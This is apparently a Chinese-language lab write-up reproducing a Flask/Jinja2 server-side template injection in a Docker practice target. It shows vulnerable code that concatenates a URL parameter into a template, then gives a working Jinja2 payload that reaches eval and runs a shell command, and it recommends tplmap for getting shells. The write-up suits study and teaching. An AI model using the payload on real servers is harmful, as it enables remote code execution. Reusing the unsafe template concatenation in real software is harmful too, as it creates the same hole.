Flask-ssti漏洞复现
漏洞描述:
在jinja2模板中能够访问python中的内置变量并且可以调用对应变量类型下的方法,从而导致文件读取或命令执行
漏洞复现:
通过docker启动靶场之后进入如下页面:

然后查看一下后端代码。如下:
from flask import Flask, request #Flask框架核心功能
from jinja2 import Template #模板引擎
app = Flask(__name__) #创建Flask应用实例
@app.route("/") #绑定根路径"/"的访问
def index():
# 获取URL中?name=后的值,若无则默认为'guest'
name = request.args.get('name', 'guest')
# 动态拼接模板内容:例如 name='John' → 生成"Hello John"
t = Template("Hello " + name)
return t.render() #渲染输出最终HTML
if __name__ == "__main__":
app.run() #启动开发服务器
触发位置:t = Template("Hello " + name)
根本原因:直接将未过滤的用户输入(name参数)拼接进模板字符串,导致攻击者可注入Jinja2模板语法。
操作链:用户控制输入 → 直接拼接模板 → 编译为AST → 执行任意代码
根据代码构造参数:http://xxx.xxx.xxx.xxx/?name={{7*7}},返回页面如下图:

证实存在SSTI漏洞。要实现远程代码执行,可以使用以下POC获取eval函数并执行任意Python代码:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
访问以下URL(POC进行URL编码)执行命令。结果如下图所示:

这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件。Tplmap为SSTI的利用提供了很大的便利
github地址:https://github.com/epinna/tplmap

浙公网安备 33010602011771号